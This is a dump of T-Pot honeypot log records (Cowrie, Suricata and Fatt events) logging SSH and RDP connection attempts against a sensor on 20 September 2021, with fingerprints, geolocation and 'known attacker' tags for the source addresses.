"192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
37041	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:19:03.433134+03	2021-09-20 15:30:03.121892+03	{"_id": "BgYlA3wBvYTbRNuEOme5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "88f2e61a5a96", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T12:19:03.433134Z", "@timestamp": "2021-09-20T12:19:03.433Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
37042	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 15:18:32.988969+03	2021-09-20 15:30:03.123406+03	{"_id": "XwYkA3wBvYTbRNuExWZ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "6f90724c74bc", "@version": "1", "duration": 2.7601428031921387, "timestamp": "2021-09-20T12:18:32.988969Z", "@timestamp": "2021-09-20T12:18:32.988Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
37043	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 15:18:33.607537+03	2021-09-20 15:30:03.124406+03	{"_id": "YAYkA3wBvYTbRNuExWZ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "0eb3514424b5", "@version": "1", "timestamp": "2021-09-20T12:18:33.607537Z", "@timestamp": "2021-09-20T12:18:33.607Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	US
37044	176.122.188.154	109.199.241.180	Suricata	2021-09-20 15:18:33.606858+03	2021-09-20 15:30:03.126406+03	{"_id": "YgYkA3wBvYTbRNuExmZ_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:18:33.269176+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 377628491586424, "payload": "AAADzAYUnjJfnevU45BHJB4jQUUwoQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42806, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:18:33.606858Z", "@timestamp": "2021-09-20T12:18:33.606Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......2_.....G$.#AE0....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	US
37045	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:18:33.44162+03	2021-09-20 15:30:03.127406+03	{"_id": "YwYkA3wBvYTbRNuEx2Z0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.122.188.154", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42806, "timestamp": "2021-09-20T12:18:33.441620", "@timestamp": "2021-09-20T12:18:33.441Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
37046	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:18:34.336955+03	2021-09-20 15:30:03.128406+03	{"_id": "ZQYkA3wBvYTbRNuEyWZg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "20edfaad0f5c", "@version": "1", "duration": 2.806779146194458, "timestamp": "2021-09-20T12:18:34.336955Z", "@timestamp": "2021-09-20T12:18:34.336Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
37047	157.240.234.63	109.199.241.180	Suricata	2021-09-20 15:18:34.934629+03	2021-09-20 15:30:03.130407+03	{"_id": "ZwYkA3wBvYTbRNuEymZo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:34.612525+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.63", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.63", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 127285585402029, "payload": "FwMDACJ32+g+LhpcVQfbSOc3AqahzSITdoU6xmiHl0t8P7et8qp9", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 52760, "timestamp": "2021-09-20T12:18:34.934629Z", "@timestamp": "2021-09-20T12:18:34.934Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\"w..>..\\\\U..H.7....\\".v.:.h..K|?....}"}}	1	\N	\N	alert	\N	US
37048	94.232.41.165	109.199.241.180	Suricata	2021-09-20 15:18:36.37438+03	2021-09-20 15:30:03.131407+03	{"_id": "cwYkA3wBvYTbRNuE0mY6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:36.301417+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 329578545191273, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 31025, "dest_port": 3389, "timestamp": "2021-09-20T12:18:36.374380Z", "@timestamp": "2021-09-20T12:18:36.374Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	RU
37049	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:18:37.743194+03	2021-09-20 15:30:03.132408+03	{"_id": "fgYkA3wBvYTbRNuE1WYa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "9ac71a943a4b", "@version": "1", "timestamp": "2021-09-20T12:18:37.743194Z", "@timestamp": "2021-09-20T12:18:37.743Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
37050	119.29.153.168	109.199.241.180	Suricata	2021-09-20 15:18:37.741862+03	2021-09-20 15:30:03.134407+03	{"_id": "gAYkA3wBvYTbRNuE1mYj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 1756508414904575, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54838, "dest_port": 22, "timestamp": "2021-09-20T12:18:37.741862Z", "@timestamp": "2021-09-20T12:18:37.741Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
37051	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:18:37.457584+03	2021-09-20 15:30:03.136409+03	{"_id": "ggYkA3wBvYTbRNuE12YW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54838, "timestamp": "2021-09-20T12:18:37.457584", "@timestamp": "2021-09-20T12:18:37.457Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
37069	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:18:39.050113+03	2021-09-20 15:30:03.161407+03	{"_id": "jgYkA3wBvYTbRNuE3Gbs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "b23fcb0228a5", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T12:18:39.050113Z", "@timestamp": "2021-09-20T12:18:39.050Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	RU
37052	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:18:48.895244+03	2021-09-20 15:30:03.137409+03	{"_id": "rAYlA3wBvYTbRNuEAmZb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "221.181.185.140", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35762, "timestamp": "2021-09-20T12:18:48.895244", "@timestamp": "2021-09-20T12:18:48.895Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
37053	221.181.185.140	109.199.241.180	Cowrie	2021-09-20 15:18:48.894066+03	2021-09-20 15:30:03.139406+03	{"_id": "rgYlA3wBvYTbRNuEBGYB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "221.181.185.140", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 32.7893, "location": {"lat": 32.7893, "lon": 119.4418}, "timezone": "Asia/Shanghai", "city_name": "Gaoyou", "longitude": 119.4418, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "221.181.185.140", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "3e671765aea4", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T12:18:48.894066Z", "@timestamp": "2021-09-20T12:18:48.894Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
